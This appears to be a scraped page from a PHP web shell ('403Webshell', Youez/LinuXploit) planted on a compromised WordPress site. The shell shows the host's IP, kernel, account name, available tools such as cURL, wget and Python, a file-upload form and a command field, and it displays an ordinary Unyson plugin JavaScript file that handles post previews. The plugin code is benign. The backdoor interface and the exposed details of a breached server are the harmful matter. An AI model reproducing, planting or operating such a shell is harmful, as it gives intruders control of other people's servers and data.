403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/blueversion/wp-content/plugins/unyson/framework/static/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/blueversion/wp-content/plugins/unyson/framework/static/js/option-types.js
jQuery( document ).ready( function ( $ ) {
	setTimeout( function () {
		fwEvents.trigger( 'fw:options:init', {
			$elements: $( document.body )
		} );
	}, 30 );

	function updateContent( $content ) {
		if ( tinymce.get( 'content' ) ) {
			tinymce.get( 'content' ).setContent( $content );
		} else {
			$content.val( $content );
		}
	}

	$( '#post-preview' ).on( 'mousedown touchend', function () {

		var $content      = $( '#content' ),
			$contentValue = tinymce.get( 'content' ) ? tinymce.get( 'content' ).getContent() : $content.val(),
			$session      = '<!-- <fw_preview_session>' + new Date().getTime() + '</fw_preview_session> -->';

		if ( $contentValue.indexOf( '<!-- <fw_preview_session>' ) !== -1 ) {
			$contentValue = $contentValue.replace( /<!-- <fw_preview_session>(.*?)<\/fw_preview_session> -->/gi, $session );
		} else {
			$contentValue = $contentValue + $session;
		}

		updateContent( $contentValue );
		updateContent( $contentValue.replace( /<!-- <fw_preview_session>(.*?)<\/fw_preview_session> -->/gi, '' ) );
	} );
} );

Youez - 2016 - github.com/yon3zu
LinuXploit